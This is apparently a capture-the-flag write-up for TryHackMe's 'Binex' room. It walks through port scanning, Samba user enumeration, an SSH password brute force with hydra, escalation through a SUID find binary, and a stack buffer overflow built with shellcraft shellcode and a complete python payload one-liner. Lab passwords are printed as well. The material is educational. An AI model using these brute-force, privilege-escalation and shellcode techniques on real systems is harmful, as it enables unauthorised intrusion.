# THM - Binex

| Room  | Binex                                         |
| ----- | --------------------------------------------- |
| OS    | :penguin: Linux                               |
| Level | <mark style="color:yellow;">**Medium**</mark> |
| Link  | <https://tryhackme.com/room/binex>            |

## Reconnaissance

After starting the target box and adding its IP to `/etc/hosts` as `binex.thm` we start with a basic TCP Syn scan over all ports. We find 3 open ports:

![Output of portcat - a custom TCP port scanner - equivalent to nmap -sS -p-](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FlfW3tqlpXmvPGJzWOUUJ%2Fbinex_portcat.png?alt=media\&token=a92828a9-7fdd-4bd4-8953-afc92e3de5f0)

Using `nmap` with `-sV` for version detection we can confirm what applications run on these ports. Namely an OpenSSH server (v7.6p1) and Samba.

{% tabs %}
{% tab title="Command" %}

```
nmap -Pn -sS -sV binex.thm -p22,139,445
```

{% endtab %}

{% tab title="Output" %}

```
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: THM_EXPLOIT; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

{% endtab %}
{% endtabs %}

As there don't seem to be any other services active we can start with some default enumeration for the two services we found. If this yields nothing we could still scan for open UDP ports.

## Service Enumeration

Unfortuantely, trying default credentials like `root:root` fails with SSH so we go straight to enumerating Samba. Though we could try various `nmap` scripts for enumeration and scanning, we are going to use a separate tool for this.

With `enum4linux-ng` we are able to find 2 (default system-) shares and 4 valid users.

{% tabs %}
{% tab title="Command" %}

```
enum4linux-ng -As -R binex.thm
```

{% endtab %}

{% tab title="Output" %}

```
ENUM4LINUX - next generation

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... binex.thm
[*] Username ......... ''
[*] Random Username .. 'cvtdgwtp'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
[*] RID Range(s) ..... 500-550,1000-1050
[*] Known Usernames .. 'administrator,guest,krbtgt,domain admins,root,bin,none'

 =================================
|    Service Scan on binex.thm    |
 =================================
[*] Checking LDAP
[-] Could not connect to LDAP on 389/tcp: connection refused
[*] Checking LDAPS
[-] Could not connect to LDAPS on 636/tcp: connection refused
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ======================================
|    SMB Dialect Check on binex.thm    |
 ======================================
[*] Check for legacy SMBv1 on 445/tcp
[+] Server supports dialects higher SMBv1

 ======================================
|    RPC Session Check on binex.thm    |
 ======================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for random user session
[+] Server allows session using username 'cvtdgwtp', password ''
[H] Rerunning enumeration with user 'cvtdgwtp' might give more results

 ================================================
|    Domain Information via RPC for binex.thm    |
 ================================================
[+] Domain: WORKGROUP
[+] SID: NULL SID
[+] Host is part of a workgroup (not a domain)

 ===========================================
|    OS Information via RPC on binex.thm    |
 ===========================================
[+] The following OS information were found:
server_type_string = Wk Sv PrQ Unx NT SNT THM_exploit server (Samba, Ubuntu)
platform_id        = 500
os_version         = 6.1
server_type        = 0x809a03
os                 = Linux/Unix

 ==================================
|    Users via RPC on binex.thm    |
 ==================================
[*] Enumerating users via 'querydispinfo'
[+] Found 0 users via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 0 users via 'enumdomusers'

 ===================================
|    Groups via RPC on binex.thm    |
 ===================================
[*] Enumerating local groups
[+] Found 0 group(s) via 'enumalsgroups domain'
[*] Enumerating builtin groups
[+] Found 0 group(s) via 'enumalsgroups builtin'
[*] Enumerating domain groups
[+] Found 0 group(s) via 'enumdomgroups'

 ===================================
|    Shares via RPC on binex.thm    |
 ===================================
[*] Enumerating shares
[+] Found 2 share(s):
IPC$:
  comment: IPC Service (THM_exploit server (Samba, Ubuntu))
  type: IPC
print$:
  comment: Printer Drivers
  type: Disk
[*] Testing share IPC$
[-] Could not check share: STATUS_OBJECT_NAME_NOT_FOUND
[*] Testing share print$
[+] Mapping: DENIED, Listing: N/A

 ======================================
|    Policies via RPC for binex.thm    |
 ======================================
[*] Trying port 445/tcp
[+] Found policy:
domain_password_information:
  pw_history_length: None
  min_pw_length: 5
  min_pw_age: none
  max_pw_age: 49710 days 6 hours 21 minutes
  pw_properties:
  - DOMAIN_PASSWORD_COMPLEX: false
  - DOMAIN_PASSWORD_NO_ANON_CHANGE: false
  - DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
  - DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
  - DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
  - DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
domain_lockout_information:
  lockout_observation_window: 30 minutes
  lockout_duration: 30 minutes
  lockout_threshold: None
domain_logoff_information:
  force_logoff_time: 49710 days 6 hours 21 minutes

 ======================================
|    Printers via RPC for binex.thm    |
 ======================================
[+] No printers returned (this is not an error)

 ===============================================================
|    Users, Groups and Machines on binex.thm via RID Cycling    |
 ===============================================================
[*] Trying to enumerate SIDs
[+] Found 3 SID(s)
[*] Trying SID S-1-22-1
[+] Found user 'Unix User\kel' (RID 1000)
[+] Found user 'Unix User\des' (RID 1001)
[+] Found user 'Unix User\tryhackme' (RID 1002)
[+] Found user 'Unix User\noentry' (RID 1003)
[*] Trying SID S-1-5-21-2007993849-1719925537-2372789573
[+] Found user 'THM_EXPLOIT\nobody' (RID 501)
[+] Found domain group 'THM_EXPLOIT\None' (RID 513)
[*] Trying SID S-1-5-32
[+] Found builtin group 'BUILTIN\Administrators' (RID 544)
[+] Found builtin group 'BUILTIN\Users' (RID 545)
[+] Found builtin group 'BUILTIN\Guests' (RID 546)
[+] Found builtin group 'BUILTIN\Power Users' (RID 547)
[+] Found builtin group 'BUILTIN\Account Operators' (RID 548)
[+] Found builtin group 'BUILTIN\Server Operators' (RID 549)
[+] Found builtin group 'BUILTIN\Print Operators' (RID 550)
[+] Found 5 user(s), 8 group(s), 0 machine(s) in total

```

{% endtab %}
{% endtabs %}

![Excerpt from the output of enum4linux-ng](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FAGLHytxscDSzZjbsUAR8%2Fbinex_sambausers.png?alt=media\&token=0c3c837f-475a-4d98-aafc-7b6946a79d5b)

{% hint style="success" %}
Valid usernames: `tryhackme`, `kel`, `des` and `noentry`

Using the answer format of the first question we can assume that `tryhackme` is the user we are looking for for our initial access.
{% endhint %}

We know that this room is supposed to focus on binary exploitation so the initial access phase isn't supposed to be very difficult. Hence, we can move on to find a valid password for the user.

## Initial Access

At this point we don't have any other available information except a valid username. After trying some default passwords like `letmein` manually we start `hydra` to brute force the password of the `tryhackme` user on the SSH server.

{% tabs %}
{% tab title="Command" %}

```
hydra -l tryhackme -P /usr/share/wordlists/rockyou.txt ssh://binex.thm -v -f -t 4
```

{% endtab %}

{% tab title="Output" %}

```
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://binex.thm:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://tryhackme@10.10.61.51:22
[INFO] Successful, password authentication is supported by ssh://10.10.61.51:22
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 14344355 to do in 5433:29h, 4 active
[STATUS] 32.00 tries/min, 96 tries in 00:03h, 14344303 to do in 7470:60h, 4 active
[STATUS] 29.14 tries/min, 204 tries in 00:07h, 14344195 to do in 8203:23h, 4 active
[STATUS] 28.27 tries/min, 424 tries in 00:15h, 14343975 to do in 8457:32h, 4 active
[22][ssh] host: binex.thm   login: tryhackme   password: thebest
[STATUS] attack finished for binex.thm (valid pair found)
1 of 1 target successfully completed, 1 valid password found

```

{% endtab %}
{% endtabs %}

After approximately 15 minutes of brute forcing we finally get a hit!

{% hint style="success" %}
Valid credentials: `tryhackme:thebest`
{% endhint %}

Logging in with the found credentials we can now start looking for a way to gain `root`.

## Privilege Escalation

### User: tryhackme

The subtle task title "*SUID :: Binary 1*"  suggests that we are looking for SUID binaries to exploit. However, even if we weren't given this hint - a quick manual enumeration shows: we don't have elevated privileges yet, there is no obvious cronjob placed, the permissions for important files are set to default and there don't seem to be any interesting files lying around in `/tmp` . We do find an outdated `sudo` version though (-> Baron Samedit) but let's stick to the intended way.

To look for SUID binaries we could either use a quick `find / -perm /4000 2>/dev/null`, an automated checker like [SUID3NUM](https://github.com/Anon-Exploiter/SUID3NUM) or the little more verbose variant of the first command:

{% tabs %}
{% tab title="Command" %}

```
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
```

{% endtab %}

{% tab title="Output" %}

```
-rwxr-sr-x 1 root shadow 34816 Feb 27  2019 /sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 34816 Feb 27  2019 /sbin/pam_extrausers_chkpwd
-rwsr-xr-x 1 root root 40152 Oct 10  2019 /snap/core/8268/bin/mount
-rwsr-xr-x 1 root root 44168 May  7  2014 /snap/core/8268/bin/ping
-rwsr-xr-x 1 root root 44680 May  7  2014 /snap/core/8268/bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 25  2019 /snap/core/8268/bin/su
-rwsr-xr-x 1 root root 27608 Oct 10  2019 /snap/core/8268/bin/umount
-rwxr-sr-x 1 root shadow 35632 Apr  9  2018 /snap/core/8268/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 35600 Apr  9  2018 /snap/core/8268/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 62336 Mar 25  2019 /snap/core/8268/usr/bin/chage
-rwsr-xr-x 1 root root 71824 Mar 25  2019 /snap/core/8268/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 Mar 25  2019 /snap/core/8268/usr/bin/chsh
-rwxr-sr-x 1 root systemd-network 36080 Apr  5  2016 /snap/core/8268/usr/bin/crontab
-rwxr-sr-x 1 root mail 14856 Dec  7  2013 /snap/core/8268/usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 22768 Mar 25  2019 /snap/core/8268/usr/bin/expiry
-rwsr-xr-x 1 root root 75304 Mar 25  2019 /snap/core/8268/usr/bin/gpasswd
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/8268/usr/bin/mail-lock
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/8268/usr/bin/mail-touchlock
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/8268/usr/bin/mail-unlock
-rwsr-xr-x 1 root root 39904 Mar 25  2019 /snap/core/8268/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 Mar 25  2019 /snap/core/8268/usr/bin/passwd
-rwxr-sr-x 1 root crontab 358624 Mar  4  2019 /snap/core/8268/usr/bin/ssh-agent
-rwsr-xr-x 1 root root 136808 Oct 11  2019 /snap/core/8268/usr/bin/sudo
-rwxr-sr-x 1 root tty 27368 Oct 10  2019 /snap/core/8268/usr/bin/wall
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 10  2019 /snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Mar  4  2019 /snap/core/8268/usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 106696 Dec  6  2019 /snap/core/8268/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12  2018 /snap/core/8268/usr/sbin/pppd
-rwsr-xr-x 1 root root 40152 May 15  2019 /snap/core/7270/bin/mount
-rwsr-xr-x 1 root root 44168 May  7  2014 /snap/core/7270/bin/ping
-rwsr-xr-x 1 root root 44680 May  7  2014 /snap/core/7270/bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 25  2019 /snap/core/7270/bin/su
-rwsr-xr-x 1 root root 27608 May 15  2019 /snap/core/7270/bin/umount
-rwxr-sr-x 1 root shadow 35632 Apr  9  2018 /snap/core/7270/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 35600 Apr  9  2018 /snap/core/7270/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 62336 Mar 25  2019 /snap/core/7270/usr/bin/chage
-rwsr-xr-x 1 root root 71824 Mar 25  2019 /snap/core/7270/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 Mar 25  2019 /snap/core/7270/usr/bin/chsh
-rwxr-sr-x 1 root systemd-network 36080 Apr  5  2016 /snap/core/7270/usr/bin/crontab
-rwxr-sr-x 1 root mail 14856 Dec  7  2013 /snap/core/7270/usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 22768 Mar 25  2019 /snap/core/7270/usr/bin/expiry
-rwsr-xr-x 1 root root 75304 Mar 25  2019 /snap/core/7270/usr/bin/gpasswd
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/7270/usr/bin/mail-lock
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/7270/usr/bin/mail-touchlock
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/7270/usr/bin/mail-unlock
-rwsr-xr-x 1 root root 39904 Mar 25  2019 /snap/core/7270/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 Mar 25  2019 /snap/core/7270/usr/bin/passwd
-rwxr-sr-x 1 root crontab 358624 Mar  4  2019 /snap/core/7270/usr/bin/ssh-agent
-rwsr-xr-x 1 root root 136808 Jun 10  2019 /snap/core/7270/usr/bin/sudo
-rwxr-sr-x 1 root tty 27368 May 15  2019 /snap/core/7270/usr/bin/wall
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 10  2019 /snap/core/7270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Mar  4  2019 /snap/core/7270/usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 102600 Jun 21  2019 /snap/core/7270/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12  2018 /snap/core/7270/usr/sbin/pppd
-rwsr-xr-x 1 kel kel 8600 Jan 17  2020 /home/des/bof
-rwsr-xr-x 1 root root 10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwxr-sr-x 1 root utmp 10232 Mar 11  2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwsr-xr-x 1 root root 14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-sr-x 1 root root 105336 Jun  5  2019 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42992 Jun 10  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwxr-sr-x 1 root mlocate 43088 Mar  1  2018 /usr/bin/mlocate
-rwsr-xr-x 1 root root 37136 Mar 22  2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 75824 Mar 22  2019 /usr/bin/gpasswd
-rwxr-sr-x 1 root crontab 39352 Nov 16  2017 /usr/bin/crontab
-rwxr-sr-x 1 root shadow 71816 Mar 22  2019 /usr/bin/chage
-rwsr-xr-x 1 root root 18448 Jun 28  2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 59640 Mar 22  2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 37136 Mar 22  2019 /usr/bin/newgidmap
-rwxr-sr-x 1 root tty 14328 Jan 17  2018 /usr/bin/bsd-write
-rwsr-xr-x 1 root root 149080 Oct 10  2019 /usr/bin/sudo
-rwsr-xr-x 1 root root 76496 Mar 22  2019 /usr/bin/chfn
-rwxr-sr-x 1 root tty 30800 Oct 15  2018 /usr/bin/wall
-rwsr-sr-x 1 des des 238080 Nov  5  2017 /usr/bin/find
-rwsr-xr-x 1 root root 44528 Mar 22  2019 /usr/bin/chsh
-rwxr-sr-x 1 root ssh 362640 Mar  4  2019 /usr/bin/ssh-agent
-rwsr-sr-x 1 daemon daemon 51464 Feb 20  2018 /usr/bin/at
-rwxr-sr-x 1 root shadow 22808 Mar 22  2019 /usr/bin/expiry
-rwsr-xr-x 1 root root 22520 Mar 27  2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 40344 Mar 22  2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44664 Mar 22  2019 /bin/su
-rwsr-xr-x 1 root root 30800 Aug 11  2016 /bin/fusermount
-rwsr-xr-x 1 root root 43088 Oct 15  2018 /bin/mount
-rwsr-xr-x 1 root root 26696 Oct 15  2018 /bin/umount
-rwsr-xr-x 1 root root 64424 Jun 28  2019 /bin/ping
```

{% endtab %}
{% endtabs %}

Reading the output, two binaries stand out from the rest:

1. `-rwsr-xr-x 1 kel kel 8600 Jan 17 2020 /home/des/bof` : This binary resides in `des` home directory which we can't access as `tryhackme`.
2. `-rwsr-sr-x 1 des des 238080 Nov 5 2017 /usr/bin/find` : This is unusual as `find` is owned by the user `des` and usually doesn't come with the SUID bit set.

Using [GTFOBins entry on `find` ](https://gtfobins.github.io/gtfobins/find/#suid)we can spawn a shell with the `euid` of the user `des` and read the first flag.

![Abusing SUID permission on find to escalate privileges to the user des](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FbnwzLp7f9CDFLgcKcFlf%2Fbinex_desflag.png?alt=media\&token=dc20ba2f-8367-4784-b8e3-f68c67edf593)

Together with the first flag we are also given the credentials for the user `des` so we can switch to a stable SSH session for further privilege escalation.

{% hint style="success" %}
Valid credentials: `des:destructive_72656275696c64`
{% endhint %}

### User: des

Now that we are `des` we have access to that SUID binary we found earlier: `bof` . This program is owned by the user `kel` so exploiting it should give us access to yet another user on our way to `root`.

Being curious, we simply run the executable to see what happens. After being prompted `Enter some string` and keeping the executable name in mind it seems obvious that we'll have to exploit a buffer overflow. We confirm this by testing the input with a large string. As expected, the application crashes.

![Manually fuzzing the seemingly vulnerable SUID binary](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FkLh7PUvZIMZ7UEdz4HNO%2Fbinex_test.png?alt=media\&token=ea19f84a-67d3-4506-ac58-acbad5545423)

Since we are also provided the source code of the application, let's have a look at that before diving into exploitation. (In the second tab I've added some comments to explain the code a little bit.)

{% tabs %}
{% tab title="Source code" %}

```c
#include <stdio.h>
#include <unistd.h>

int foo(){
	char buffer[600];
	int characters_read;
	printf("Enter some string:\n");
	characters_read = read(0, buffer, 1000);
	printf("You entered: %s", buffer);
	return 0;
}

void main(){
	setresuid(geteuid(), geteuid(), geteuid());
    	setresgid(getegid(), getegid(), getegid());

	foo();
}
```

{% endtab %}

{% tab title="Commented version" %}

```c
/* bof64.c */
#include <stdio.h>
#include <unistd.h>

int foo(){
	char buffer[600]; // allocate 600 bytes on the stack for "buffer"
	int characters_read; // allocate 8 bytes for one int (x64)
	printf("Enter some string:\n");
	
	// This is bad. read() will copy up to 1000 bytes from 
	// 0 (stdin) to the buffer which is only 600 bytes.
	// Since read() doesn't perform a check on the target buffer
	// size, we can overflow the variable "buffer" on the stack.
	characters_read = read(0, buffer, 1000);
	// After overflowing, the application will not immediately crash.
	// The variable "characters_read" will be updated on the stack
	// with the amount of read characters.
	
	// Then, the buffer is printed to stdout (without flushing though,
	// so it won't make it to the screen in case of an error).
	printf("You entered: %s", buffer);
	
	// Returning from this function will pop the RIP and continue
	// execution from there. If we managed to overwrite RIP, we have
	// a chance of executing our own code.
	return 0;
}

void main(){
	// Set the UID and GUID to kel
	setresuid(geteuid(), geteuid(), geteuid());
    	setresgid(getegid(), getegid(), getegid());

	foo(); // Call the function foo()
}
```

{% endtab %}
{% endtabs %}

Basically, putting in a string longer than 600 characters (such as 1000 "A"s) will cause the program to overwrite whatever is on the stack above the `buffer` variable.

I'm looking forward to do a more detailed writeup on the basic buffer overflow and how it works - so let's focus on just exploiting this binary for now.

{% hint style="info" %}
One more thing to check for before crafting an exploit is, whether ASLR is activated. We can do this with `cat /proc/sys/kernel/randomize_va_space`. Since the result shows 0 (disabled) we can safely assume that the binary will always land in the same address space with each execution. This makes it easier for us because we can use hardcoded addresses in our exploit.
{% endhint %}

#### Developing an Exploit for a Buffer Overflow

Fortunately, the target comes with `gdb` preinstalled. Otherwise we could've brought our own tools or analysed the binary *at home*. For the next steps, it's easiest to have two SSH sessions - one for `gdb` and one for experimenting / crafting the input.

#### Finding the Offset of the RIP

First we need to find out at what size of the input the application starts to crash. We already know that it must be larger than 600 bytes. Taking into account the 8 bytes for the integer and 8 bytes for the RBP, we should, in theory, need at max 616 bytes to start overwriting the RIP. But let's assume we didn't know the source code and crash the application with 1000 "A"s to see what happens.

![Crashing the application and analysing the registers after the crash with gdb](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FURzpHpCs1tCC8T3zJuY1%2Fbinex_bof1.png?alt=media\&token=e1dceaa2-a50c-47d9-bc66-e085de2e3cac)

We've successfully overwritten the RBP (and a bunch of other things on the stack) with "A"s. Looking at the saved return value of the RIP for the current frame (with `info frame`), we can also confirm that we overwrote the return address:

![Inspecting the frame information after a crash](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FOHJKSqRa4QwVBOYIpyvv%2Fbinex_bof2.png?alt=media\&token=54e21e33-0a8c-4fb6-aecb-a4e26220b9c4)

{% hint style="info" %}
Note that the RIP still points to the `return` statement of `foo` (0x55...484e). While trying to load the RIP from the saved value on the stack, the 8 "A"s already generated an exception during the instruction fetch causing the program to crash without `gdb` seeing the actual update of the RIP value. That's simply due to the fact that on current 64 bit systems the maximum virtual address is 0x7FFFFFFFFFFF ([source](https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/virtual-address-spaces)).  So any address above that can't be handled by the CPU. We will see the RIP being loaded correctly once we use valid addresses in the next steps.
{% endhint %}

Now, to find the actual offset of the RIP or RBP (since they are both right next to each other we only need to find out one), we will use a cyclic pattern as input and check what value ends up in the RBP. Due to the input being a cyclic pattern we can then calculate the exact amount of bytes needed to hit the RBP and RIP.

Here we use `cyclic` (part of `pwntools` that does the same as `pattern_create.rb` and `pattern_offset.rb` from `metasploit_framework` ) to create and detect a pattern:

![Finding the offset of RBP with a cyclic pattern](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FAws2WcSosykP2VYFtjET%2Fbinex_bof3.png?alt=media\&token=becd950b-1e3c-47b0-9355-044a5b543c2b)

1. Create a cyclic pattern with length 700
2. Save the pattern to an input file
3. Run the application in `gdb` with the crafted input
4. Read the value from RBP - How to read this value depends on the endianess which we can check with `show endian` in `gdb`.  In this case (and most commonly) it's little endian, which means that values are stored LSB first. Hence, when we translate the HEX address to ASCII we get:&#x20;

   0x6761616467616163 -> ASCII -> gaadgaac -> LSB first -> caagdaag

   Since the address is 8 byte long, but the `cyclic` tool works with 4 byte patterns, we only need to search for the pattern `caag`. This gives us an offsett of 608 bytes.

So now we know that exactly after 608 bytes we start overwriting the RBP that's stored on the stack. And once we've overwritten these 8 bytes we start overwriting the 8 bytes of the stored RIP. Thus, we know that we must pad our custom return address with 616 (608 + 8 for RBP) bytes.

{% hint style="info" %}
Note that the 608 bytes correspond exactly to the size of the buffer + the size of the integer which means the stack layout looks something like this (addresses from high to low): `RIP` -> `RBP` -> `characters_read` -> `buffer[600]`.
{% endhint %}

#### Finding a Return Address

Now that we know how to control the RIP (608\*"A" + 8\*"B" + return\_address) we must find a suitable address to insert. Our end goal is to execute custom code; we know that we can write at least 600 bytes on the stack and we also know that ASLR is disabled. Hence, we are going to try the following:

![Overview of the payload we aim to create](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FxAyBZWdvJYWmnSW40ciX%2Fbinex_bofsketch.png?alt=media\&token=c8b35d74-ee16-4f2f-a96b-92dc29163409)

So we are going to point the RIP to an address on the stack with our crafted payload. Let's inspect the stack once we crashed the application with the following input:

```bash
python -c 'print("B"+"A"*615+"\xff\xff\xff\xff\xff\x7f\x00\x00")' > input
```

```
(gdb) r < input                                              # start
Starting program: /home/des/bof < input
Enter some string:

Program received signal SIGSEGV, Segmentation fault.         # ./bof crashed
0x00007fffffffffff in ?? ()                                  # we overwrote RIP

(gdb) x/78xg $rsp - 624                                      # show the stack 
0x7fffffffe230:	0x4141414141414142	0x4141414141414141   # 0x42 = "B"
0x7fffffffe240:	0x4141414141414141	0x4141414141414141
0x7fffffffe250:	0x4141414141414141	0x4141414141414141
0x7fffffffe260:	0x4141414141414141	0x4141414141414141
0x7fffffffe270:	0x4141414141414141	0x4141414141414141
0x7fffffffe280:	0x4141414141414141	0x4141414141414141
0x7fffffffe290:	0x4141414141414141	0x4141414141414141
0x7fffffffe2a0:	0x4141414141414141	0x4141414141414141
0x7fffffffe2b0:	0x4141414141414141	0x4141414141414141
0x7fffffffe2c0:	0x4141414141414141	0x4141414141414141
0x7fffffffe2d0:	0x4141414141414141	0x4141414141414141
0x7fffffffe2e0:	0x4141414141414141	0x4141414141414141
0x7fffffffe2f0:	0x4141414141414141	0x4141414141414141
0x7fffffffe300:	0x4141414141414141	0x4141414141414141
0x7fffffffe310:	0x4141414141414141	0x4141414141414141
0x7fffffffe320:	0x4141414141414141	0x4141414141414141
0x7fffffffe330:	0x4141414141414141	0x4141414141414141
0x7fffffffe340:	0x4141414141414141	0x4141414141414141
0x7fffffffe350:	0x4141414141414141	0x4141414141414141   # 615 * "A"
0x7fffffffe360:	0x4141414141414141	0x4141414141414141
0x7fffffffe370:	0x4141414141414141	0x4141414141414141
0x7fffffffe380:	0x4141414141414141	0x4141414141414141
0x7fffffffe390:	0x4141414141414141	0x4141414141414141
0x7fffffffe3a0:	0x4141414141414141	0x4141414141414141
0x7fffffffe3b0:	0x4141414141414141	0x4141414141414141
0x7fffffffe3c0:	0x4141414141414141	0x4141414141414141
0x7fffffffe3d0:	0x4141414141414141	0x4141414141414141
0x7fffffffe3e0:	0x4141414141414141	0x4141414141414141
0x7fffffffe3f0:	0x4141414141414141	0x4141414141414141
0x7fffffffe400:	0x4141414141414141	0x4141414141414141
0x7fffffffe410:	0x4141414141414141	0x4141414141414141
0x7fffffffe420:	0x4141414141414141	0x4141414141414141
0x7fffffffe430:	0x4141414141414141	0x4141414141414141
0x7fffffffe440:	0x4141414141414141	0x4141414141414141
0x7fffffffe450:	0x4141414141414141	0x4141414141414141
0x7fffffffe460:	0x4141414141414141	0x4141414141414141
0x7fffffffe470:	0x4141414141414141	0x4141414141414141
0x7fffffffe480:	0x4141414141414141	0x0000027141414141   # note the 0x271
0x7fffffffe490:	0x4141414141414141	0x00007fffffffffff   # overwritten RIP

```

The left column displays the virtual address on the stack, so we can read that the first byte of our input ("B" for visibility) is placed at the address 0x7fffffffe230 (keep in mind it's little endian).

{% hint style="warning" %}
Saw that 0x00000271 on the stack? Converted to decimal that's 625. This is the return value of the `read` function that indicates how many bytes were read from `stdin`. We printed 624 bytes and the python `print` statement added a `\n` to complete the input for a total of 625 bytes. Note that, although 8 bytes were reserved for the integer, only 4 bytes were actually used by the responsible assembler instruction.

This is important to keep in mind because it overwrites what we put on the stack, so we shouldn't place our shellcode on this address. (This still leaves us with 600 bytes for our shellcode.)
{% endhint %}

Having an address to jump to, we can now create the shellcode (assembler instructions that will spawn a shell for us).

#### Creating the Final Payload

For the shellcode we can either use the one provided in the room or we create our own, for example with `msfvenom` or `shellcraft` (`pwntools`):

{% tabs %}
{% tab title="Command" %}

```
shellcraft amd64.linux.execve "/bin///sh" "['sh', '-p']" -f s
```

{% endtab %}

{% tab title="Output" %}

```
"jhH\xb8\x2fbin\x2f\x2f\x2fsPH\x89\xe7H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8ri\x01,q\x01\x01\x01H1\x04\x241\xf6Vj\x0b^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"
```

{% endtab %}
{% endtabs %}

We can quickly check the length of the string in python with `len("<shellcode>")` which in this case returns 68. Theoretically, we could now build a payload like this:

```bash
# The return address is now 0x7FFFFFFFE230 and will point right to
# the start of our input, i.e. at the shellcode. The "A"s are for padding.
<shellcode>+ "A"*(616-<len(shellcode)>) +"\x30\xe2\xff\xff\xff\x7f\x00\x00"

# Let's put that in a oneliner to create our input
python -c 'print("jhH\xb8\x2fbin\x2f\x2f\x2fsPH\x89\xe7H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8ri\x01,q\x01\x01\x01H1\x04\x241\xf6Vj\x0b^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"+ "A"*(616-68) +"\x30\xe2\xff\xff\xff\x7f\x00\x00")' > input 
```

If we run this in `gdb` we can see that it works, but we can't interact with the spawned shell from within `gdb`.

